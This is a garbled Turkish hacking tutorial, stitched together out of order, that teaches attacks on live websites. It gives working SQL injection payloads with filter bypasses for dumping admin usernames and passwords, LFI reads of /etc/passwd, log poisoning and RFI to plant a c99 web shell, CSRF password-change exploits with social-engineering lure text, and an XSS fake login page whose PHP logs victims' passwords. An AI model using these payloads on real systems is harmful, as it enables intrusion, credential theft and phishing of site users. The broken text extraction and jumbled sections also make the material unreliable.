wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 14: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

